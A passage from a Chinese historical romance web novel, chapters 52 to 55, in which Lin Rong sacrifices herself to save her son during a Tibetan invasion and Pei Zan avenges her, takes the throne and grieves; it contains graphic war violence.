郑慧音看了,既心疼又无奈:“要我是裴瓒,定将你揣怀里好好疼爱。” 郑慧音不知林蓉和裴瓒的感情如何,她只当两人孩子都生了,裴瓒那般性傲,竟顶着风言风语,把一个妾室抬成正妻,二人一定伉俪情深,此前林蓉的数次逃跑,可能也只是小夫妻之间的情趣。 林蓉笑笑不说话,让婆子把裴嘉树抱来给郑慧音看。 小公子生得好,如今皮肤不皱不红,透亮雪白,一双眸子葡萄似的润着光,骨碌碌地转动。 裴嘉树见到了林蓉,似乎能认出自家亲娘,嘴唇嘟起,一瞬不瞬盯着她瞧,不哭也不闹,极为可爱。 但林蓉时常乏累,陪伴裴嘉树的时间不长,至多也只是把手指伸到他面前,任小孩咿咿呀呀,尝试抓握。 郑慧音看出林蓉心绪不佳,待裴嘉树被奴仆抱走后,她悄声询问:“你怎么了?是不是有心事?” 林蓉摇摇头:“可能只是累了。” 郑慧音也不知该说什么劝慰,她搜肠刮肚,终是想起了另外一桩事:“你还记得芝麻吗?” 林蓉杏眸微动,抬头望向了郑慧音。 “你那匹马还真是倔,不论放跑多少次,都会回到庄子。它不肯走,我只能将它养在马厩里了。” 顿了顿,郑慧音又说,“但上次你生产,我来了一趟裴府,不知芝麻是不是嗅到我身上沾的血气了,竟发起狂,连马奴都拴它不住,还是府上亲卫用醉马草将它放倒,才勉强锁回了马厩。” 林蓉听得心头大震,不知为何,她竟有一种拨开云雾见青天的清醒。 她忽然眼眶生热,鼻尖如同针扎一般,密密麻麻地泛起酸意。 林蓉终于想起了什么,她记起了那些被她模糊了的往事。 她骑着芝麻,在广袤的天地间穿行,他们如同一尾悠闲的鱼,在覆满绿油油的草坡上奔跑。 月色温柔,草木清新。 那时的林蓉多么自由,多么恣意,多么快活。 她原以为,只要送走了芝麻,只要留下凉州的家宅,舍弃大黄、小羊、鸡鸭,她就能断了所有出逃的念想,甘心受困樊笼。 林蓉很顽强,她在慢慢适应了。 她有了疼爱自己的丈夫,有了乖巧可爱的儿子,还有殷实的家底、受人尊崇的地位。 林蓉很富足,她什么都不缺,所有人都在艳羡她的际遇,夸赞她命好。 可林蓉仍觉得心中空落落的,脚下空荡,踩不住任何实物。 直到郑慧音提起了芝麻。 林蓉方才意识到……她真正想要的,究竟是何物。 “阿姐,让芝麻回来吧,我想继续养着它。” 郑慧音呆了呆,点头说好。 在一个阳光灿烂的午后,林蓉梳了头,编了发辫,穿上绯色的胡袍骑装。 她挤出一点笑,手捏着细长的马鞭,等待芝麻进门。 角门打开,天光骤亮。 芝麻急促的喷鼻声响起,马蹄隆隆,撼天动地。 芝麻远远看到了林蓉,朝前疾跑而来。 在即将撞上她的时候,良驹乖巧屈膝,收住了力,俯跪至她的面前。 林蓉的笑容落下,她蹲身扑向芝麻,把脸埋在细密的鬃毛里,大颗大颗的眼泪涌出。 “芝麻!” 芝麻喷鼻,作为回应。 林蓉像个孩子一样大哭出声,她依依不舍地抚摸杂毛马长长的马鬃,一路摸到马鞍上。 那一条她送给芝麻的红绸穗子掉了色,但还好好挂在马驹的身上。 林蓉有一瞬恍惚,她心脏钝痛,唇齿生涩。 待芝麻亲昵挨蹭她的时候,林蓉低低道了一声。 “芝麻,欢迎回家。” 也是在这一刻,林蓉终于懂了,她为何成日闷闷不乐,为何郁郁寡欢,为何无法餍足。 她险些被裴瓒驯化,险些要习惯宅门里的生活。 林蓉差点死去,但她又活过来了。 她不属于这里。 林蓉终于明白了——裴府不是她的家。 第53章 许是林蓉在军情战事上, 也会同其他肉眼凡胎的凡人那般神化裴瓒,以为他所向披靡,战无不胜。 她从来没想过, 有朝一日,南地也会被凶悍至极的敌军破开。 眼下正是寒冷的十月。 天降初雪, 白色的雪絮落到残破不全的墙垛、七零八落的残肢、支离破碎的家宅, 雪花一点点被消融, 染成了一地血水。 那些野蛮霸道的攻城敌军, 并非同为中原人的魏室兵马,而是边境外域未开化的吐蕃蛮夷。 按理说,青州接壤凉州, 若想直达南地,强横攻城, 至少也得先破开凉州关隘, 方能深入魏国腹地。 殊不知, 凉州与陇州竟在半个月前, 被魏君陈文晋以“和亲嫁妆”之名, 赠予吐蕃新汗赤德阿泰! 如今凉陇一带被番邦小国侵占, 沦为民不聊生的失地, 地方官员听到消息早早拖家带口,谁又肯留下受这些蛮族的欺压? 没了边军镇守, 吐蕃蛮人陡然入境,提刀砍杀, 攻城一事,便如履平地。 他们烧杀掠夺,奸淫妇孺,屠戮壮丁, 不过几天光景,凉州就成了一片生灵涂炭的惨怖炼狱! 蛮族夷兵被边城留下的军需辎重,养得兵强马壮,杀性更烈。 吐蕃番邦不擅耕种,古来嗜杀好虐,专擅掠夺,凉陇二州的丰沛物资养大了他们的胃口,竟诱惑他们壮起胆子,提刀杀向物阜民丰的南地! 而青州接壤凉州,自是首当其冲,遭受战火的攻袭与摧残。 八万吐蕃番邦的精锐骑兵如山倾覆,攻向南地关隘,偏偏裴瓒此时率军北上,外出远征已有六月,留下屯守南地的驻军不过四万,又怎会是吐蕃骑兵的对手? 即便裴瓒机关算尽,亦没想到,陈文晋失了神志、没了廉耻、卑劣下作,竟做出这等“背弃魏国黎民、割地卖国”之举! 此子不配为人,堪称卑劣低下,竟将国土拱手奉上,任胡狄蛮夷践踏! 南地百姓心知肚明,无非是陈文晋大势已去,他为了战胜裴瓒,故意谄媚讨好吐蕃,诱惑这些不开化的蛮夷夹击南地,毁去裴瓒平治的六州,断绝他的粮草后方。 如此一来,便有歼灭裴家兵马的可乘之机。 林蓉抱着襁褓中的裴嘉树,坐上马车。 亲卫为了护住裴瓒的妻子,一路护卫,妄图突破重围,护送小公子还有夫人前往远离凉州战火的徐州。 青州是南地第一道关隘,不出两日便会被骁勇善战的吐蕃骑兵夷为平地,他们断不能让裴瓒的妻儿丧命于此! 车帘晃动,血光一蓬蓬打进车厢。 林蓉听到那些如同无边地狱的凄厉哀嚎,心中悚然惶悚。 可怀里四个多月大的裴嘉树恍然未觉,他鲜少被母亲抱着外出,还当林蓉是带他游玩,只咧着小嘴,对母亲咯咯笑。 林蓉看着玉雪可爱的儿子,不知为何,心头发酸,她的眼眶泛红,眼泪滚落。 热腾腾的泪珠落到裴嘉树圆鼓鼓的小脸上,许是母子连心,小孩感受到林蓉的难过,竟也皱眉,瘪起了嘴。 林蓉低头,亲了亲儿子,温柔哄他:“玉奴,你不要哭,阿娘在这里。” 林蓉把裴嘉树抱得更紧了一些,她抹去眼泪,强忍住那些酸楚与畏惧,她看着血淋萋草、白骨如山的骇怖景象。 她看着深目高鼻的蛮人手持弯刀,骑马而过,穿梭在凄惶尖叫的人群之中。 他们的马蹄染尽鲜血,践踏同胞的骨肉,一双金眸如鹰隼锐利,信手抄过几名肤白貌美的小姑娘,于马背上就撕开了她们的衣,破开她们的身体! 郑家、吴家、张家……各家郡望都派兵驰援,可这么多兵马凑起来,敌众我寡,远远不够驱逐夷兵! 除非裴瓒放弃称王帝业,即刻调兵回城,但即便裴瓒愿意舍弃唾手可得的王座,亦要十多天才能驰援南地…… 届时,南地泰半州府都已遭到蛮夷践踏,兴许只能保下位处北境的徐州。 这是林蓉唯一的生路,她要确保马车顺利赶到潇门关,将裴嘉树平平安安送到裴家部曲的手上,如此才能让人一路护送裴嘉树逃到徐州。 林蓉看着满城百姓疯了似的往城外跑,没等他们挤出街巷,后脊已然被一把长刀透穿,五脏六腑流了一地。 林蓉闭目不看,她紧抱着软乎乎的小孩,心头酸涩,想到那一幕幕惨无人道的杀戮战况,亦满心愤慨。 在这一刻,她方能感知到裴瓒此人虽恶,但他并不昏庸无道,至少在裴瓒的治理下,南地六州无人敢欺,百姓生活平顺,曾是那样繁荣昌盛……此人私德有亏,却无愧于南地苍生。 所谓裴瓒嗜血喜杀,也无非是乱世时局,只能以战止战,以杀镇杀。 “玉奴,你爹爹……一定能护好你。” 马车在兵将的护送之下,驶出主城,行向僻静的山路。 林蓉撩帘,瞥一眼车后。 那一群凶悍残忍的吐蕃骑兵仍在紧追不舍。 他们似是发现了被裴家亲兵宿卫的青蓬马车,笃定车里定有金银珠宝、美人佳丽,他们的血脉偾张,征服欲如潮涌至,誓要拦住林蓉的去路。 蛮兵那一双双凶恶金眸散着野蛮的侵占欲念,恨不得撕裂马车,将车里的一切摧毁殆尽! 裴家兵马骁悍果决,他们一面追随马车,直往荒僻的官道而去,另一面布置战阵,挽弓拉箭,织出密集箭网。 嗖的一声,一支支黑羽箭如蝗虫过境,连珠射出,箭镞力道悍烈,骤然贯穿夷人的颅顶! 头骨碎裂,脑浆迸出,红的、白的全溅上蛮族骑兵的脸庞。 高大的骑兵轰然倒下,被狂乱的战马踏成糜烂的肉泥。 夷兵嗅到同伴的血腥味,愤懑的杀心愈发强劲,竟猛夹马腹,冲杀上前! 骑兵的长刀霍然劈下,来势汹汹,锐不可当。 红艳的鲜血溅进马车,突然滚进一物,竟是死不瞑目的裴家亲卫头颅! 周嬷嬷吓傻了,发出一声尖叫。 林蓉赶紧捂住她的嘴,强忍住眼泪:“嬷嬷……别喊。” 周嬷嬷泪眼婆娑,不寒而栗。 她看到了那些吐蕃骑兵持刀杀人的怵目惊心的场景,如今的青州,俨然落入身熔铜烹的无间地狱,永堕不得超生的恶鬼道。 枯寂荒芜的原野,唯有一辆马车孤独前行。 裴家兵马不畏生死,为护裴瓒的妻儿,前仆后继,以身献道。 这般血雨腥风,早将人的肝胆吓到萎靡。 林蓉蜷缩在角落,她紧紧抱住裴嘉树,心生绝望。 林蓉不知世道为何如此残酷,连初生的稚童都要忍受灭绝人性的屠戮…… 而潇门关近在眼前。 只要熬过这段路,她就能求生! 可是、可是裴家兵马一个不剩,全死绝了啊。 林蓉的马车,踏着一地鲜妍的血花,驶向生机盎然的彼岸。 车后,仅剩下两个紧跟不舍的吐蕃骑兵! 他们披着血衣,在寒冽的初冬,赤着毛发旺盛的臂膀,他们手持染血尖刀,誓要为战友报仇雪恨! 那一把把弯刀淋着血、挂着细碎的骨肉……他们茹毛饮血,嗜杀残忍,一旦追上马车,决计不会放林蓉和裴嘉树一条生路! 林蓉无路可退,无计可施,她不过是个手无缚鸡之力的女子。 她必须想想办法,她必须求生。 林蓉松开紧抱裴嘉树的手,将懵懂的孩子递给了周嬷嬷。 林蓉看了一眼车外,芝麻还在随车疾驰,它一直跟在林蓉身后,忽的释然一笑。 “周嬷嬷……孩子交给你,一旦到了潇门关,尽快将小公子送到守城军将手上,务必要保住玉奴的性命。” 周嬷嬷心中大骇,似乎意识到林蓉想做什么。 “夫、夫人,此事万万不可啊!” 林蓉含笑:“嬷嬷会骑马吗?” 周嬷嬷看了一眼早已横死的车夫,潸然泪下:“奴婢不会……” “既如此,此事只能我来做。嬷嬷,玉奴是我牵挂,请你一定护好他。” 周嬷嬷咬牙,跪下给林蓉磕头:“奴婢便是舍得一身剐,也会保小公子周全!” “那我便放心了。”林蓉把裴嘉树交到周嬷嬷怀里,她深深看他一眼,夸赞一句,“其实,长开了也没那么丑。” 说完,林蓉怀抱一柄削铁如泥的匕首,她挤身步出车厢,看了一眼扬鬃疾驰的芝麻。 林蓉深吸一口气,狠心扯过缰绳,滚鞍上马。 马车朝前奔去,与林蓉错身而过,不见踪迹。 昏暗的天地间,唯有草木深深,风雪呼啸。 马背上,一袭倩影牵动人心。 远处的山径,一名乌发凌乱,杏眸含潮的美貌女子,如同暗夜艳妖,夺人眼球。 林蓉静坐马背,金莲披帛随风飞扬,翠柳衣裙迎风飘荡,山雾雪光映照,如同普度众生的佛陀神女,高贵明艳,不可方物。 如此倾城绝色,霎时吸引了吐蕃骑兵的注意。 他们被林蓉的琼姿花貌蛊惑,一时间忘记追随那一辆不起眼的青蓬马车。 待林蓉高喝一声:“跑!” 芝麻驮着主人,双蹄朝前纵跨,猛地往深山老林而去! 骑兵的逐猎恶念涌上心头,他们用阴狠的眼神逡巡林蓉俯身策马的娇丽背影,垂涎地勾勒林蓉丰腴软肉、纤细腰肢。 他们恨不得撕裂她的衣,将她摁在山野间蹂躏性虐,如此才好为枉死的战友报仇雪恨! 蛮夷骑兵的注意力完全被林蓉吸引,他们高举弯刀,扬鞭紧追,穷追猛打! 今日,他们会拿下林蓉,他们会尽情享用这个来之不易的战利品,直至见血见肉,折骨碎身! 所有魏人都将如同牲畜一般,匍匐他们身下,任他们施虐鞭挞! 林蓉回头看了一眼,她心知追兵已调转了方向,心里松了一口气。 可身后撼天动地的马蹄声,又令林蓉心中不安。 她没有退路,只能孤注一掷,朝前逃亡。 林蓉从未跑得这般快过,她骑着马,心脏高悬于喉头,口鼻被凛冽寒风堵住,连呼吸都不畅。 林蓉的心肺如同被利刃割伤,残余阵阵难言的痛感。她强忍住骑马狂奔的痛苦,颤抖的五指紧紧握住那一柄吹毛利刃。 这是她的生途,亦是她的死路。 林蓉不堪受辱,如其落到蛮兵手中,被人折磨致死,那她宁可自行了断! 林蓉的脸颊被横来的枝叶划伤,她的腿骨渐渐酸软无力,她痛苦不堪,命悬一线,直到远处出现一片平坦峭壁。 月光倾泻,天地疏阔。 林蓉轻翘了下唇角。 她心知,骏马伤腿必死无疑,她不欠谁,亦不连累谁。 骑兵已然掷来弯刀,利刃擦过林蓉的乌发,险些削落她的耳朵。 血珠溅进林蓉的眼尾,令她一双美眸猩红。 林蓉没有更多的思忖时间! 林蓉咬牙,与芝麻附耳低语:“芝麻,我要先走一步……你听话,保重自己,好好活着。” 言毕,林蓉做了决断。 她张开双臂,弃马翻身,猛烈朝前扑去。 林蓉坠下高耸入云的山崖。 “哗啦——!” 女子的华贵衣裙绽开,被崖底席卷而出的狂风吹动,衣袂翩跹,如翱翔鸟雀,如绚丽蝴蝶。 林蓉离那些险境愈发远了。 她的耳朵被嘈杂的风声充斥,再也听不到那些众生悲哭,心脏亦被涌动的风流挤压,痛到无力思考。 林蓉悬在半空,等待粉身碎骨的瞬间。 她睁开眼,望向混沌黑暗的世界。 她终于能安静一回、自由一回、肆无忌惮地观赏月亮。 天地好宽广啊。 月亮好大啊。 她没有害死谁、没有拖累谁。 所有恩情、罪孽、苦难都在今夜尽数偿还干净了。 林蓉只属于她自己。 在这一刻,林蓉松开那一口憋闷心头的气儿,轻轻笑了下。 在死亡的瞬间,她终于感到自由。 第54章 裴瓒收到南地遇袭的消息时, 已是数日之后。 小公子顺利脱险,被周嬷嬷送往潇门关,保住了性命。 可林蓉策马诱敌, 分散追兵,任裴家兵马派兵寻人, 亦是不见尸骨、不知所踪。 能找到尸首还算好事, 至少死前没受折磨, 最怕的是生不见人死不见尸, 凭林蓉的倾城美貌,定会被那些凶残无道的蛮夷敌军凌辱亵玩……妇人失贞,不如守身自尽, 方能成全家宅体面,还自己一个清白! 但裴瓒浑不在意, 流言蜚语又算什么?!他本就无惧世人攻讦, 几句恶言还能敌得过他手中的千军万马不成?! 裴瓒下颌紧绷, 颈上青筋鼓噪, 面沉如水, 恨得喉头腥甜, 指骨碾碎了这一张信报。 “林蓉, 若你受辱,烦请再忍一忍……我会寻到你, 替你报仇。凡是观你、碰你、辱你之辈,我皆会剔肉剐骨, 将其五马分尸。” 裴瓒凤眸赤红,压抑着雷霆之势,周身悍烈的戾气勃发,恨不得提刀杀人。 他希望林蓉圆滑一些, 希望她忍辱负重活下去。 他知道很难,但他不愿她死。 裴瓒绝不会嫌她,他只恨自己没能及时护她…… 裴瓒原以为,长子的降生,是他强求,他知林蓉不愿、不肯、不想,不过是他心生妄念,不过是他不甘纠缠。 可裴瓒不知,林蓉当真爱护十月怀胎的亲子,这般怯弱的女子,竟能为孩子做到舍身赴死的地步。 她为何不厌裴嘉树? 她为何……和裴瓒的生母一点都不同。 裴瓒想到生母怨毒的眉眼,想到那些刺痛、燎烧他皮肉的私刑。 他没有哭、也没有喊,那时的裴瓒太过年幼,他以为生母有此恶癖,是因为喜欢。 那他可以忍受,可以闭目不语,兴许他乖巧一点,就能讨母亲的喜爱,亦能沾一点母亲的友善。 但刑罚越演越甚,裴瓒渐渐难以承受。 终有一日,裴瓒明白了,他所希望的慈悲与亲善,从来不会降临他的身上。 世上并无佛陀神明,诸神也并不怜悯众生。 裴瓒想要什么,唯有去争、去抢、去夺,唯有使尽手段,方能得个圆满。 这是他的生存之道,他别无选择。 可林蓉……实在不同。 啪嗒。 一滴泪落下。 裴瓒茫然伸手,碰了一下湿潮的眼尾。 他闭目怔忪,薄唇紧抿。 “林蓉,求你……一定要活下去。” 鼓乐齐鸣,吹角连营。 天穹暗沉,阴云密布,隐有张牙舞爪的雷龙在剑峰山峦闪现,风雨欲来。 山坡之上,裴瓒冷眉驽目,凤眸含威。 他束冠披甲,战袍猎猎,手持冷光长剑,立于列阵的十万兵马前。 “诸君,魏室天子勾结外邦,割地诱敌,动摇国祚,致使凉陇几州失守,南地六州遇袭,竟酿就生灵涂炭,百姓倒悬之险局!” 此言一出,众兵哗然。 许多品阶不高的兵将,也是今日方知南地遇袭一事,不由瞠目握拳,愤懑难当。 他们一路北上攻城,却不想陈文晋竟卑鄙至此,堂堂一国之君,竟成卖国奸佞,为了战胜不择手段,将外敌诱入中原烧杀劫掠! 而南地驻军统共二三万,加之郡望世家豢养的私兵,也不过四万余人,他们位处南地,骑营又不够精锐,如何敌外邦数万骑兵?! 此举,分明是迫着裴瓒退兵! 逼他掉头回城,驱逐外敌! 可他们奋勇杀敌五月,已逼近北地都城,再破两州,便能拿下魏室都城……此时放弃北上,拔军御敌,便是逼着裴瓒放弃帝业,将唾手可得的帝位拱手让人。 裴瓒焉能甘心?! 军心浮动,众人惶恐不安。 他们是南地兵马,生于六州,长于六州,他们的家人孩子都在南地,他们建功立业,也是为了让父母脸上有光,让妻子儿女能过上好日子。 倘若他们的家宅毁于一旦,亲朋好友悉数死在夷人铁骑之下,他们在外奋勇杀敌,建功立业又有何用?! 可他们追随裴瓒多年,亦知大都督胸有丘壑,行事果决,如今问鼎天下的霸业近在眼前,裴瓒筹谋多年,如何愿意放弃? 倘若此时当了逃兵,定会被裴瓒杀鸡儆猴,斩于旗下。 一时间,军心不稳,诸将踌躇不决。 一面是忠信,一面是孝悌,逼他们快速抉择,当真催人心肝。 裴瓒瞥去一眼,心中了然。 裴家兵马都是重情重义的儿郎,自是担忧深陷水火的家人亲朋,若裴瓒率军南返,非但不会令他们失望,反倒能助他巩固军心! 毕竟裴瓒是救人父母的盖世英雄,兵将只会愈发敬佩他,愈发愿意为他肝脑涂地、鞠躬尽瘁! 裴瓒要的,便是他们心甘情愿追随,助他一齐屠戮那些犯境的蛮夷牲畜! 裴瓒高举冷剑,振臂一呼:“魏君不仁,形同猪狗,竟犯下此等卖国恶事,背弃魏国百姓,任胡夷戎狄践踏中原土地!若我等一心贪慕富贵,舍弃家宅妻儿,又怎配为人?!” 兵将手攥长枪,听得裴瓒一番鼓舞话语,竟热泪盈眶。 “诸君,即便自古忠孝两难全,但我不会逼尔等做那等背信弃义的奸恶之徒,我亦有妻,亦有儿,我知汝等痛心……我愿带你们杀回去,将这些番邦蛮族驱出我大魏国境!!” 此言一出,众人心潮澎湃,竟潸然泪下。 “誓死追随大都督!” “我等愿粉骨捐躯,杀身报国,只求将敌军逐出国境!” “杀——!!” 将士们披坚执锐,嘶吼震天,愿为大魏粉骨碎身的嘹亮呼喊,霎时间响彻天地。 军将们记挂家人,归心似箭。 这一路谁都没喊累、喊苦,接连十多日昼夜不停行军,终是在二十多天内赶到了南地六州。 六州沦陷,驻军拼尽全力,也只守住了南地徐州。 接连几日浴血奋战的郑至明,在看到裴瓒的一瞬间,竟流出了血泪,他高喊一声:“大都督!” 裴瓒上前,重拍一下副将的肩臂,夸赞一句:“你辛苦了。” 郑至明羞愧低头,裴家小公子已让人妥善照看,可任他的人马暗中搜遍青州,亦无林蓉的行踪。 若是女子死不见尸……大概率是被那些蛮夷掳走奸淫。 但他见过那些被夷人虐杀的妇孺老幼,尸身用完便弃,身上无一处好肉,亦无衣布裹身,堪称凄楚骇怖…… 裴瓒未置一词,他沉下心,将领回南地的兵马分成几波,调遣麾下大将率军策应六州,而他亲领五万大军,袭向青州,再往凉、陇二州进发。 郑至明翕动双唇,面露不解:“凉陇一带,并非我等辖地,大都督为何要派兵驰援?” 裴瓒手握剑柄,滚鞍上马:“我既有登顶之意,待魏国百姓便要一视同仁……他们也是魏人。” 闻言,郑至明大感羞惭,他跪地领命:“末将明白了,末将定会竭力护住魏国百姓,不令大都督失望!” 裴瓒知他姗姗来迟,但他在心中宽慰自己。 至少还没寻到林蓉的尸首,至少她是在青州失踪……若她聪慧,逃出生天,又或者她坚韧应对,苟延存活。 林蓉这般胆小,她一定在等他。 裴家兵马来势汹汹,如同洪流涌入,势如破竹,转眼便和那些兵强马壮的夷兵绞杀在一块儿。 裴瓒手持长剑,一马当先。 待长刃劈砍上那些深目高鼻的吐蕃骑兵,他尝到了浓烈的血气、涌起凶悍的杀心,他才知自己已是疯魔癫狂,一心为林蓉报仇雪恨。 削铁如泥的长剑,霎时间贯穿夷兵的咽喉,不过腕骨用力一搅,剑意裁风,敌兵的皮肉便破开,血液翻涌而出,连同肚肠都流了一地。 那些猩红血花如一枝枝残梅,溅上裴瓒那张妖冶清隽的美人脸,他长身玉立,乌发如墨,披拂肩背,平静地抖下刃上血肉。 营帐中,一名哭得双目通红的魏国女子怯怯抬头,与眼前的杀神对视一眼。 没等她喊出一句“恩人”,裴瓒便已策马离去,仅留下一地吐蕃骑兵的尸骸。 不是林蓉。 不是林蓉…… 谁都不是林蓉,他找不到林蓉。 裴瓒策马狂奔,如同降世的英烈战神。 他手握长剑,攻势密集,战意浓烈,不过冷剑挥舞,便有数颗人头滚落蹄下。 满地都是断臂残肢,到处都是发黑的鲜血黄沙。 青州已然夺回,裴瓒又派兵深入凉、陇二州。 部将听他军令,专心御敌,而裴瓒则骑马持刃,率军杀向关外吐蕃敌营。 百姓有了裴家兵马应援,顿时鼓起了生欲,追随裴军一同御敌! 他们持刀、持棍,就连五岁小童,也要为枉死的爹娘奋战! 裴瓒几日不眠,杀光了占城的敌骑。 男人的剑啸撼天动地,如银芒流泻,杀得蛮敌节节败退,溃不成军。 裴瓒解救了无数魏人,听得那一句句“恩人”,却没有一丝波澜。 他无心与人寒暄,亦不在意他们是否心存感激。 裴瓒只想寻人,他只想找回属于自己的东西。 裴瓒谛听众生苦难,无涯厄境,生死苦海,他方知……苍生皆苦,而林蓉才是神佛菩萨。 她明明领了天命,受他的香火,取他的菩提念珠。 林蓉明明是来渡他的……又为何救到一半,便舍下了他。 就连林蓉也不要他? 裴瓒薄唇微抿,久久无言。 他害怕见到受尽折磨的林蓉,又怕再也见不到林蓉……他虽性恶,却在床笫多有担待,他没有想过弄疼、弄伤、折损林蓉,他极其害怕林蓉在外受苦受难,被人虐待。 裴瓒的心肺刺痛,血沫漫上喉头,胸膛刺痛不休。 他忽然偏头,吐出一口鲜血,一双凤眸愈发寒戾。 裴瓒还剑入鞘,他看着草原上一片尸骸,心生疑惑……他不明白,究竟要杀到什么程度才够?究竟要怎样才能寻回林蓉? 菩萨不渡恶鬼,但能不能垂怜他一回? “林蓉,我好像……再也找不到你了。” 这一次,裴瓒似乎真的把林蓉弄丢了。 第55章 南地六州的军民齐心协力, 共同御敌,收复凉、陇几州,将那些野蛮的胡夷驱逐出境, 终是夺回了家园。 若是裴瓒只为收复失地,得此战果, 也该罢手。 可裴瓒素来睚眦必报, 他嘴上说是为了斩草除根以绝后患, 实则暗藏为妻报仇的杀心。 裴瓒深入草原雪域腹地, 亲手斩杀了吐蕃可汗赤德阿泰,彼时的吐蕃骑兵受此重创,几个联军部落早已瓦解, 国势渐渐衰弱。 裴瓒以强悍武力,强行将吐蕃分裂为诸部, 又抬举一个魏国被俘女奴生下的王子上位, 如此便能使得势微的吐蕃新汗, 依附亲近中原。 经此一战, 吐蕃战力锐减, 没有五年休养生息, 夷人无力再犯中原。 趁此机会, 裴瓒还划分了魏蕃边界,设立驻军司府, 密切监视外域动向,防止那些茹毛饮血的胡蛮再次犯境。 裴瓒在忙碌军务国事的时候, 也没有放弃搜寻林蓉的下落。 裴瓒亲自验看那些死于战役中的尸首,搜寻无果,又疑心林蓉被当成女奴,贩卖塞外, 特意命斥候队伍留心西域诸国贩卖女奴的黑市,谨防疏漏。 可即便如此细致排查,裴瓒仍是寻不到林蓉…… 裴瓒没有再次发兵攻向北地,而是将边境三州、南地六州收入囊中,占据了魏国西南地盘。 如此一来,留给陈家皇族,也不过是北地几块贫瘠小州。 就此,中原大国分裂为西魏、北魏二国。 裴瓒深知边塞战役频繁,操练骑营一事迫在眉睫,他登基称帝后,又将都城定于凉州。 裴瓒沿用“西魏”国号,再创年号“永安”。 凉陇、南地百姓承蒙裴家兵马相救,得来一条生路,他们对北魏皇帝痛深恶绝,反倒将裴瓒奉若神明,推崇备至。 凡是裴瓒下达的政令,西魏百姓无不俯首听命,唯裴氏天子马首是瞻。 除却战后重建家园,赈灾防疫等等民生大计,裴瓒还假模假式地下发了一份罪己诏,将身世污点昭告天下,暗示自己并非裴家血脉,执意从江州裴家除名,在外自立门户。 裴老太太、大房夫人沈氏闻此消息,人都气得昏厥过去。 她们怎知裴瓒是这般疯魔的儿郎,竟甘愿冒天下之大不韪,也要舍弃亲族,遭人唾骂! 可如此一来,她们入主后宫,尊为“太后”、“太皇太后”的富贵梦算是完全破灭了! 但战神余威尚存,裴瓒正是深得民心的时候,又怎会有百姓忍心攻讦裴瓒?自是当成茶余饭后的一点闲话,听过便忘了。 又过了一年,西魏时局渐渐稳定。 裴瓒在裴嘉树周岁宴的那日,将嫡长子册为皇太子。 彼时的裴嘉树,模样已经长开了。 同林蓉一样,是皮肤雪白,唇色樱红,只鼻子眼睛与裴瓒相似一些,都是高挺的鼻梁、清癯的凤眼。 裴嘉树生得实在漂亮,但相较于裴瓒的阳刚英姿,竟有些偏阴柔女相,显得秀气乖巧许多。 裴嘉树没有娘亲,便十分黏父亲。 裴瓒也乐得让儿子跟在身后,只裴嘉树好动,又是学爬走路的年纪,在裴瓒怀里扭来扭去,像是屁股长刺,半点待不住。 每当裴瓒要案前办公的时候,就用一条两丈长的兔毛软绳,松松缠住小孩的腰身,任裴嘉树在铺满了软毯的内殿里爬爬走走。 等裴嘉树跑远了,玩累了,他又趴到地上,被父亲慢慢收绳,拉回身边,揣进怀里。 裴嘉树学会说话的那天,说的第一个词竟是“阿娘”。 裴瓒听完,扯了下唇角,揉了揉玉奴的脑袋,夸赞:“好小子。” 待裴瓒把裴嘉树送到冯叔怀里的时候,他背过身,凤眸里的笑意竟一点点落下了。 裴瓒迈进一间燃着浓郁线香、插满招魂幡、点着烛火、供着新鲜的时令瓜果的佛堂。 他不信林蓉身死,因此没有供养牌位,只是取了一块老木头,亲手雕了“林蓉”二字,奉于高台。 裴瓒不过是以防万一……他怕她当真出事,一穷二白,捉襟见肘,无人给她烧纸,在地底下会被那些孤魂野鬼欺负。 裴瓒打听过,若想将纸钱准确无误烧给家人,定要书写名讳,如此才能确保那些烧去的钱不会被精怪抢走。 裴瓒不但给林蓉烧了许多金箔元宝,还给她烧了十几个看家护院的纸人下去,免得林蓉蠢钝,没有亲卫护着,会受鬼欺负。 “玉奴会走会爬了,腿脚还算壮实,想来日后七尺高是有的。” “五个月的时候就断了奶,喂一些米汤、面条,不知是不是你也爱吃馕饼,玉奴每天白嘴吃都能吃小半张,倒是个嘴馋的。” “一年过去了,你从未入过梦。我听说,皇城龙气重,门神压着紫气,魑魅魍魉进不了家宅。为了让你入梦,我还将殿前的石狮子拆了,对外说是犯忌讳……可即便如此,你也没来,莫不是投胎去了?” “倒是个心狠的,也不知等一等夫主。” 想了想,裴瓒烧纸的手一顿,盆中微弱的火光灼到眼底,他又嗤笑了一声,“罢了,我至少还得三十年呢。玉奴太过年幼,便是御极也得十五岁,这些年再捯饬捯饬,帮他收了西域三十六国,降一降塞外以北的戎狄,等玉奴二十岁成家,三十岁有了子嗣,届时倒差不离了。” 三十年后,裴瓒活得够本,无惧生死,只担心林蓉投胎为人,他与她又得阴阳相隔。 裴瓒想着,他比林蓉多些耐心,奈何桥上等个几十载也无妨。 唯有一点,林蓉来阴司报道的时候,切莫手里再牵个姘头。 不然裴瓒见着了,定要化作厉鬼,将她的奸夫千刀万剐。 说完了家常事,裴瓒垂眼,长指衔过黄纸,又往火堆里递了递。 他和林蓉说起一些政务。 裴瓒不敢再犯此前的错误,即便想杀陈文晋给林蓉报仇,亦没有离开南地。 而是借刀杀人,借给藩王一批军饷辎重,任人攻城,拿下北魏。 裴瓒策应北地藩王的唯一条件,便是生擒陈文晋,送来南地。 凉陇一带、南地六州,因陈文晋罊竹难书的罪孽,家破人亡,十室九空。 当裴瓒亲自押解陈文晋步上城墙的那日,万千百姓揎拳捋袖,恨不得上前将陈文晋生吞活剥。 裴瓒手起刀落,斩断陈文晋的四肢,割去他的口舌,将陈文晋做成人彘示众。 百姓见状,无不拍手称快,甚至跪地痛哭,感谢裴瓒为他们的家人报仇雪恨。 思及至此,裴瓒邪心起来,竟意味深长地一笑,对着木牌道:“若是你见到此情此景,是会夸赞我为民除害,还是唾骂我心狠手辣?你一贯心软,可有时候……杀生亦是救人。” 裴瓒说完这句,又许久不说话了。 男人的面容沉寂秀致,隐在袅袅升腾的檀香之中。 裴瓒想起了一点旧事。 那时在军帐中,他难掩渴欲,将林蓉囚在身下。 如此挺身作弄,足足一夜。 夜里,裴瓒睡去,林蓉口渴,起身喝水,爬出床帐的时候,手脚放得很轻。 裴瓒常年行军,枕戈待旦,警惕心很高。 他其实早已醒转,却知来回踱步的人是林蓉,掀不起风浪,便也没有管她。 明明此前云雨,林蓉闷头被褥,哭得梨花带雨,恨死了裴瓒,却在屈膝入榻继续睡觉的时刻,忽然停下动作。 